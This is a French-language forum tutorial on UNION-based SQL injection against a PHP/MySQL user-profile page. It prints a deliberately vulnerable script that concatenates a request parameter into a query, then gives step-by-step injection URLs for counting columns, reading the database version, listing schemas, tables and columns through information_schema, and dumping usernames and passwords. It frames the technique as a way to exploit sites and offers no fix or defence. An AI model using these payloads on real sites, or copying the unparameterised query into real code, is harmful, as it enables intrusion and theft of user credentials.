Bonjour, je viens poster ici un petit tuto sur les injection SQL !

Tout d'abord, imaginons un site web ou vous pouvez voir les informations des différents utilisateurs :

<?php
 
require_once('../includes/site.conf.php');
$db = new PDO("mysql:host=localhost;dbname=".DBBASE, DBUSER, DBPSWD);
$id = $_REQUEST['id'];
 
$sql = "SELECT user_login,user_mail FROM jeux_user WHERE user_id = ".$id."";
$sql = $db->query($sql);
$res = $sql->fetch();
 
var_dump($sql);
 
echo "<h1>".$res['user_login']."</h1>";
 
echo "<h3>".$res['user_mail']."</h3>";
 
 
?>



Nous voilà donc sur le profile de l'admin par exemple, si vous rajouter une quote et qu'il y a une erreur,
alors il y a une faille SQL !

Maintenant il nous faut le nombre de champs, par exemple, si vous lisez le code, vous voyer qu'il y a deux champs,
user_login et user_mail, si vous faite un order by, vous irez seulement jusqu'a deux.

profile.php?id=5 order by 2 <- Aucune erreur

profile.php?id=5 order by 3 <- Erreur




Voilà comment sera intepréter votre requête SQL :

SELECT user_login,user_mail FROM jeux_user WHERE user_id = 5 order by 2



Ensuite nous allons utiliser union all select qui permet l'affichage des données, pour trouver dans le cas suivant,
la version de la BDD:

profile.php?id=-5 union all select 1,version()



Voilà la requete :

SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,version()



version en 5.x sont exploitable !

Deux solution maintenant, soit vous êtes sur un CMS et vous connaissez la structure
de la BDD et des tables, soit il vous faut la trouver par vous même !


group_concat(schema_name)
information_schema.schemata

La fonction group_concat permet de regrouper tous les résultats sur une ligne, schema_name est une table qui contient
le nom de toute les base de données que vous avez.

information_schema est une base donnée qui se génere automatiquement sous phpmyadmin, elle contient les différentes option
et configuration de phpmyadmin, dont le nom de toute vas BDD, dans la table schemata !

profile.php?id=-5 union all select 1,group_concat(schema_name) FROM information_schema.schemata



Voilà la requête envoyé au server :

SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(schema_name) FROM information_schema.schemata



Donc là vous sera retourner les différentes base :



Donc maintenant, il nous faut trouver les différentes table, pour cela on va encore utiliser la fonction groupe_concat, mais cette fois, sur
table_name, qui encore une fois est dans information_schema

profile.php?id=-5 union all select 1,group_concat(table_name) FROM information_schema.tables



Bien évidement vous avez bien trop de table, le plus simple serait de rajouter une condition pour voir les tables qui nous intéresse

profile.php?id=-5 union all select 1,group_concat(table_name) FROM information_schema.tables where table_schema = 'jeux' 



voilà côté server :

SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(table_name) FROM information_schema.tables where table_schema = 'jeux'





Maintenant il nous faut les colonnes de cette table, nous allons encore utiliser la table information_schema, celle ci contient une table, column qui contient tout les
colonnes de toute les tables, donc on a besoin de la colonne column_name, de la base information_schema et de la table columns ou nous avons comme condition
table_name le nom de la table qui nous intéresse :

profile.php?id=-5 union all select 1,group_concat(column_name) FROM information_schema.columns where table_name = 'jeux_user'


voilà côté server :

SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(column_name) FROM information_schema.columns where table_name = 'jeux_user'





Maintenant il ne nous reste plus qu'a récupérer les données qui nous intéresse, donc se sera pour nous les colonnes user_login et user_password :

profile.php?id=-5 union select user_login,user_password from jeux_user



côté server :

SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union select user_login,user_password from jeux_user



Vous aurez donc l'identifiant avec le mdp qui apparaitron :



Si vous avez des questions n'hésiter pas, ou si des explications ne sont pas claire, ou encore si je me suis tromper, dites le :)